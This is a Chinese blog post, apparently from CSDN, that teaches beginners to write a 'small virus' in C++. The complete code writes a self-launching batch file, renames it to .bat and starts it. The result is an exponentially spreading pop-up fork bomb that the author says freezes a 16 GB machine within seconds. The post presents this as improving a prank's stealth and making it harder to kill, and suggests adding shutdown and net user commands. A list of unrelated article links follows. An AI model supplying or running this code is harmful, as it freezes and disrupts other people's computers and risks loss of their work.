相信大家都玩过这样的一个批处理代码吧

:1
start cmd
goto 1

把这些代码复制去一个txt文件,然后更改后缀为.bat 或.cmd,就可以实现弹窗炸弹

但是,作为一个病毒,这个简单恶搞代码有着致命缺陷

1.可以直接改后缀轻松识破,很难掩藏

2.杀伤力不足,可以手动“关闭全部窗口”轻松杀死

于是,我想了个简单方法来处理这两个问题

1.system函数

知周所众,C++中有一个很方便的函数就做system(),可以调用控制台命令

需要头文件stdlib.h

#include<bits/stdc++.h> // 其实万能头文件里包含了stdlib.h
#include<stdlib.h>//但是还是写一遍
using namespace std;
int main(){system("   ");
}

2.freopen

文件读写操作,可以用它生成一个out文件

freopen("11.out","w",stdout);

其中11.out是文件名,w的意思是写入,stdout是标准输出流,你cout的东西就会被输出到11.out中

然后再输入代码

cout << "   ";

fclose关闭文件

fclose(stdout);

ren命令改变文件名

system("ren 11.out 11.bat");

然后,重点来了

2.核心

小病毒的核心就是使用C++生成一个bat文件(因为bat文件打开速度贼快,可以高速卡内存)然后里面写一个循环,并且不断自我调用(有点递归的感觉了lol)

cout << ":1\nstart 11.bat\ngoto 1"

(\n:换行)

相比开头的小代码,看上去有点多次一举是吧?

但是,这个内核生成窗口(弹窗轰炸)的速度是指数级增长的,因为它开启的文件会继续打开自己,同时它本身也在不断开启自己

本人实测,16gb的内存条几秒钟就可以卡掉

最后,上完整版代码

#include<bits/stdc++.h>
using namespace std;
int main(){freopen("11.out","w",stdout);cout << ":1 \n start 11.bat \n goto 1";fclose(stdout);system("ren 11.out 11.bat");system("start 11.bat");
}

学完这些后,你还可以自自行发挥批处理知识写一写其它的东西,什么shutdown啊netuser啊,这里不作赘述

后来我才知道可以直接文件读写进bat,但是不想改了

用C++写一个简单小病毒(零基础奶妈级教学,不可能学完还不懂)相关推荐

  1. python写的篮球文字游戏_python制作一个简单的文字游戏——零基础学python 004

    前言: 之前我们简单的学习了一些函数,所谓学以致用.那么我们看看用这几个函数能够做出怎么样的文字游戏? 游戏的思路很简单,要求输入一个程序已经设置好的数字,猜中了返回一句话话,猜错了返回一句话:然而只 ...

  2. 如何写一个脚本语言_零基础小白如何学会写文案?文案写作技巧之一:如何写一个吸引读者的文案开头...

    我文笔不好怎样才能够写出优质的文案?很多人都有这个疑问,包括我自己在学习新媒体运营之前,这也是我最大的困惑.现在是内容为王的时代,你的文章质量决定了你的KPI. 后来我学习了文章的写作结构和技巧后,就 ...

  3. python制作一个简单的文字游戏——零基础学python 004

    前言: 之前我们简单的学习了一些函数,所谓学以致用.那么我们看看用这几个函数能够做出怎么样的文字游戏? 游戏的思路很简单,要求输入一个程序已经设置好的数字,猜中了返回一句话话,猜错了返回一句话:然而只 ...

  4. 如何写一个简单的病毒程序

    引:前些天学病毒这门技术着实吃了很多苦头,走了很多弯路,尽管按我的知识水平,病毒已经是水到渠成的学习内容了.但是我现在学了入门才发现这门技术实际 上隐藏着很多玄机,包含着许多技术,不专门学习研究根本无 ...

  5. java简单课程设计_!高分跪求帮忙写一个简单小程序的JAVA课程设计报告(内详!!)...

    展开全部 连连看java源代码 import javax.swing.*; import java.awt.*; import java.awt.event.*; public class lianl ...

  6. python可以做机器人吗_零基础如何用Python写一个简单的WeChat机器人?(内附代码)...

    (bing图片) python这两年热火朝天,依托其众多类库,基于python的应用层出不穷,也大大降低了非计算机专业人员的入门门槛,WeChat机器人自然不在话下!-- 聪明的瓦肯人 苦于有时候总是 ...

  7. c语言写一个简单的小游戏-推箱子

    在学习C语言之后,写了一个简单的小游戏来锻炼自己的代码以及C语言知识的掌握能力. 推箱子作为手机上最常见的简单游戏,其代码也相对简单,想法也比较简单,下面为其代码和运行图. /************ ...

  8. 使用Qt写一个简单的五子棋单机小游戏

    使用Qt写一个简单的五子棋单机小游戏 刚学,不够专业请勿喷,有不对的地方还请指出,我渴望进步!现在贴出这个游戏我原创的所有代码.希望可以帮到有需要的人. 游戏界面: 因为后面添加了.wav的音频文件, ...

  9. 一个简单的c 游戏编程语言,编程达人 c语言写一个简单的小游戏-推箱子

    在学习C语言之后,写了一个简单的小游戏来锻炼自己的代码以及C语言知识的掌握能力. 推箱子作为手机上最常见的简单游戏,其代码也相对简单,想法也比较简单,下面为其代码和运行图. /************ ...

最新文章

  1. 软件开发项目云端All
  2. 全年营业额怎么计算_会计税法计算公式大全
  3. 放授权代码的php文件夹,自己的项目如果包含别人的开源代码,licence文件应放在哪里...
  4. 零基础实践深度学习之数学基础
  5. cad设计院常用字体_如何把CAD图纸坐标转换成现场坐标?
  6. java冒泡排序法对数组进行排序
  7. STL 中的容器们(三)
  8. py 的 第 12 天
  9. 洛谷 U5737 纸条
  10. 一般处理程序在VS2012中打开问题
  11. 电子工程师私藏的一个网站
  12. MxCAD云图DWG转PDF
  13. easyexcel 无模板写入_EasyExcel模板填充踩坑
  14. 数据产品经理真的比数据分析工资高吗?
  15. CLM陆面过程模式实践技术应用
  16. 那些雷得我们如此销魂的台词
  17. 俄罗斯方块游戏系统-c语言版
  18. 淘宝店铺链接获取seller id,拿到店铺所有商品接口,店铺所有商品接口,接口接入技术解决方案
  19. C语言错误:expected declaration or statement at end of input、编写函数求100万以内的素数
  20. 基于单片机的温湿度检测系统(电路+论文)

热门文章

  1. 计算机游戏13关gongl,密室逃脱4之恐怖电影院第13关怎么过 第13关通关攻略
  2. Yann Lecun 纽约大学Spring2020深度学习课程,附66页PPT下载
  3. ocr识别图片文字 纯前端
  4. 图解IFRS9 金融工具(6)ECL预期减值
  5. 【Sass初级】嵌套选择器规则
  6. 万字综述智能驾驶车载激光雷达关键技术与应用算法
  7. 思维拓展:不相邻问题插空法
  8. weblogic 与 tuxedo 互联 wtc
  9. 把Ubuntu主机加入Window工作组
  10. Python 多个视频拼接成一个视频工具(附代码) | Python工具